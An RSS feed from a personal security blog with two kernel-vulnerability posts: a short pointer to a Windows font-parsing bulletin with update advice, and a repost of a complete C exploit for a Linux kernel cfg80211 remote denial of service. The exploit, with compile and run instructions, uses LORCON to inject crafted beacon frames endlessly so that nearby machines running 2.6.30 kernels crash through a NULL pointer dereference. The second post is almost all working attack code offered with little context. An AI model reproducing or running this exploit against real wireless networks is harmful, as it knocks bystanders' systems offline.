<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Xanda's Blog !~! &#187; kernel</title>
	<atom:link href="http://blog.xanda.org/tag/kernel/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.xanda.org</link>
	<description>Human Knowledge Belongs To The World.</description>
	<lastBuildDate>Tue, 13 Jul 2010 10:10:58 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Happy Kernel Code Execution Via Internet Explorer</title>
		<link>http://blog.xanda.org/2009/11/11/happy-kernel-code-execution-via-internet-explorer/</link>
		<comments>http://blog.xanda.org/2009/11/11/happy-kernel-code-execution-via-internet-explorer/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 01:30:19 +0000</pubDate>
		<dc:creator>xanda</dc:creator>
				<category><![CDATA[IT Related]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://blog.xanda.org/?p=1001</guid>
		<description><![CDATA[Happy Kernel Code Execution Via Internet Explorer  
Read more:

http://www.microsoft.com/technet/security/Bulletin/MS09-065.mspx
http://www.w3.org/Submission/2008/SUBM-EOT-20080305/#FileFormat
http://www.iss.net/threats/354.html

Prevention/Solution..
Update ur Windows.. How? Errr&#8230; Here
]]></description>
			<content:encoded><![CDATA[<p>Happy Kernel Code Execution Via Internet Explorer <img src='http://blog.xanda.org/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Read more:</p>
<ul>
<li><a href="http://www.microsoft.com/technet/security/Bulletin/MS09-065.mspx" target="_blank">http://www.microsoft.com/technet/security/Bulletin/MS09-065.mspx</a></li>
<li><a href="http://www.w3.org/Submission/2008/SUBM-EOT-20080305/#FileFormat" target="_blank">http://www.w3.org/Submission/2008/SUBM-EOT-20080305/#FileFormat</a></li>
<li><a href="http://www.iss.net/threats/354.html" target="_blank">http://www.iss.net/threats/354.html</a></li>
</ul>
<p>Prevention/Solution..</p>
<p>Update ur Windows.. How? Errr&#8230; <a href="http://bit.ly/9KUeA2" target="_blank">Here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.xanda.org/2009/11/11/happy-kernel-code-execution-via-internet-explorer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Kernel &lt; 2.6.30.5 cfg80211 Remote DoS</title>
		<link>http://blog.xanda.org/2009/08/18/linux-kernel-2-6-30-5-cfg80211-remote-dos/</link>
		<comments>http://blog.xanda.org/2009/08/18/linux-kernel-2-6-30-5-cfg80211-remote-dos/#comments</comments>
		<pubDate>Tue, 18 Aug 2009 14:49:34 +0000</pubDate>
		<dc:creator>xanda</dc:creator>
				<category><![CDATA[IT Related]]></category>
		<category><![CDATA[2.6.30.5]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[remote]]></category>

		<guid isPermaLink="false">http://blog.xanda.org/?p=891</guid>
		<description><![CDATA[In case you guys haven&#8217;t notice about this vulnerability

/*
 * cfg80211-remote-dos.c
 *
 * Linux Kernel &#60; 2.6.30.5 cfg80211 Remote DoS
 * Jon Oberheide &#60;jon@oberheide.org&#62;
 * http://jon.oberheide.org
 * 
 * Information:
 *
 *   http://patchwork.kernel.org/patch/41218/
 *
 *   These pointers can be NULL, the is_mesh() case isn't ever hit in the 
 *  [...]]]></description>
			<content:encoded><![CDATA[<p>In case you guys haven&#8217;t notice about this vulnerability</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/*
 * cfg80211-remote-dos.c
 *
 * Linux Kernel &lt; 2.6.30.5 cfg80211 Remote DoS
 * Jon Oberheide &lt;jon@oberheide.org&gt;
 * http://jon.oberheide.org
 * 
 * Information:
 *
 *   http://patchwork.kernel.org/patch/41218/
 *
 *   These pointers can be NULL, the is_mesh() case isn't ever hit in the 
 *   current kernel, but cmp_ies() can be hit under certain conditions.
 *
 * Usage:
 *
 *   $ gcc cfg80211-remote-dos.c -o cfg80211-remote-dos -lorcon
 *   $ airmon-ng start wlan0
 *   ...
 *   $ ./cfg80211-remote-dos mon0 mac80211
 *   [+] Initializing interface mon0...
 *   [+] Injecting crafted DoS beacon frames...
 *
 * Notes:
 *
 *   The NULL pointer dereference is triggered if the victim scans and receives
 *   a beacon frame that does not contain a SSID IE and then receives another 
 *   one that does have a SSID IE.  Raw frame injection via LORCON is required 
 *   on the wireless interface.  This should only affect the 2.6.30 series.
 */</span>
&nbsp;
<span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
<span style="color: #339933;">#include &lt;stdint.h&gt;</span>
<span style="color: #339933;">#include &lt;string.h&gt;</span>
<span style="color: #339933;">#include &lt;time.h&gt;</span>
&nbsp;
<span style="color: #339933;">#include &lt;tx80211.h&gt;</span>
<span style="color: #339933;">#include &lt;tx80211_packet.h&gt;</span>
&nbsp;
<span style="color: #339933;">#define BEACON_NOSSID \
	&quot;\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff&quot; \
	&quot;\x00\x03\x52\x00\x00\x00&quot; \
	&quot;\x00\x03\x52\x00\x00\x00&quot; \
	&quot;\x30\x4b&quot; \
	&quot;\x5f\x74\x34\x77\xdb\x03\x00\x00\x64\x00\x21\x04&quot; \
	&quot;\x01\x08\x82\x84\x8b\x96\x0c\x12\x18\x24&quot; \
	&quot;\x03\x01\x07&quot; \
	&quot;\x05\x04\x00\x01\x01\x00&quot; \
	&quot;\x2a\x01\x04&quot; \
	&quot;\x32\x04\x30\x48\x60\x6c&quot;</span>
<span style="color: #339933;">#define BEACON_NOSSID_LEN 64</span>
&nbsp;
<span style="color: #339933;">#define BEACON_SSID \
	&quot;\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff&quot; \
	&quot;\x00\x03\x52\x00\x00\x00&quot; \
	&quot;\x00\x03\x52\x00\x00\x00&quot; \
	&quot;\x30\x4b&quot; \
	&quot;\x5f\x74\x34\x77\xdb\x03\x00\x00\x64\x00\x21\x04&quot; \
	&quot;\x00\x03\x44\x6f\x53&quot; \
	&quot;\x01\x08\x82\x84\x8b\x96\x0c\x12\x18\x24&quot; \
	&quot;\x03\x01\x07&quot; \
	&quot;\x05\x04\x00\x01\x01\x00&quot; \
	&quot;\x2a\x01\x04&quot; \
	&quot;\x32\x04\x30\x48\x60\x6c&quot;</span>
<span style="color: #339933;">#define BEACON_SSID_LEN 69</span>
&nbsp;
<span style="color: #993333;">void</span>
usage<span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span> <span style="color: #339933;">**</span>argv<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #993333;">int</span> i<span style="color: #339933;">;</span>
	<span style="color: #993333;">struct</span> tx80211_cardlist <span style="color: #339933;">*</span>cardlist<span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Usage: %s [interface] [drivername]<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	cardlist <span style="color: #339933;">=</span> tx80211_getcardlist<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>cardlist <span style="color: #339933;">==</span> NULL<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Error accessing supported cardlist.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>Supported drivers are: &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">=</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> cardlist<span style="color: #339933;">-&gt;</span>num_cards<span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%s &quot;</span><span style="color: #339933;">,</span> cardlist<span style="color: #339933;">-&gt;</span>cardnames<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	tx80211_freecardlist<span style="color: #009900;">&#40;</span>cardlist<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span>
main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span>argv<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #993333;">struct</span> tx80211 tx<span style="color: #339933;">;</span>
	<span style="color: #993333;">struct</span> tx80211_packet pkt<span style="color: #339933;">;</span>
	<span style="color: #993333;">char</span> p1<span style="color: #009900;">&#91;</span>BEACON_NOSSID_LEN<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #993333;">char</span> p2<span style="color: #009900;">&#91;</span>BEACON_SSID_LEN<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #993333;">int</span> ret<span style="color: #339933;">,</span> drivertype<span style="color: #339933;">;</span>
	uint8_t randbyte<span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>argc <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		usage<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] Initializing interface %s...<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	drivertype <span style="color: #339933;">=</span> tx80211_resolvecard<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>drivertype <span style="color: #339933;">==</span> INJ_NODRIVER<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[-] Driver name not recognized.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		exit<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	ret <span style="color: #339933;">=</span> tx80211_init<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>tx<span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> drivertype<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>ret <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[-] Error initializing %s/%s&quot;</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		exit<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	ret <span style="color: #339933;">=</span> tx80211_setfunctionalmode<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>tx<span style="color: #339933;">,</span> TX80211_FUNCMODE_INJMON<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>ret <span style="color: #339933;">!=</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[-] Error setting monitor mode.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[-] %s.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> tx80211_geterrstr<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>tx<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		exit<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	ret <span style="color: #339933;">=</span> tx80211_setchannel<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>tx<span style="color: #339933;">,</span> <span style="color: #0000dd;">11</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>ret <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[-] Error setting channel.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[-] %s.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> tx80211_geterrstr<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>tx<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		exit<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	ret <span style="color: #339933;">=</span> tx80211_open<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>tx<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>ret <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[-] Unable to open interface %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> tx.<span style="color: #202020;">ifname</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[-] %s.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> tx80211_geterrstr<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>tx<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		exit<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	srand<span style="color: #009900;">&#40;</span>time<span style="color: #009900;">&#40;</span>NULL<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	memcpy<span style="color: #009900;">&#40;</span>p1<span style="color: #339933;">,</span> BEACON_NOSSID<span style="color: #339933;">,</span> BEACON_NOSSID_LEN<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	memcpy<span style="color: #009900;">&#40;</span>p2<span style="color: #339933;">,</span> BEACON_SSID<span style="color: #339933;">,</span> BEACON_SSID_LEN<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] Injecting crafted DoS beacon frames...<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		randbyte <span style="color: #339933;">=</span> rand<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span> <span style="color: #208080;">0xff</span><span style="color: #339933;">;</span>
		p1<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">15</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> randbyte<span style="color: #339933;">;</span>
		p1<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">21</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> randbyte<span style="color: #339933;">;</span>
		p2<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">15</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> randbyte<span style="color: #339933;">;</span>
		p2<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">21</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> randbyte<span style="color: #339933;">;</span>
&nbsp;
		pkt.<span style="color: #202020;">packet</span> <span style="color: #339933;">=</span> p1<span style="color: #339933;">;</span>
		pkt.<span style="color: #202020;">plen</span> <span style="color: #339933;">=</span> BEACON_NOSSID_LEN<span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>tx80211_txpacket<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>tx<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>pkt<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[-] Unable to transmit packet.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[-] %s.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> tx80211_geterrstr<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>tx<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			exit<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
		pkt.<span style="color: #202020;">packet</span> <span style="color: #339933;">=</span> p2<span style="color: #339933;">;</span>
		pkt.<span style="color: #202020;">plen</span> <span style="color: #339933;">=</span> BEACON_SSID_LEN<span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>tx80211_txpacket<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>tx<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>pkt<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[-] Unable to transmit packet.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[-] %s.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> tx80211_geterrstr<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>tx<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			exit<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	tx80211_close<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>tx<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Source: <a href="http://www.milw0rm.com/exploits/9442">Milw0rm</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.xanda.org/2009/08/18/linux-kernel-2-6-30-5-cfg80211-remote-dos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
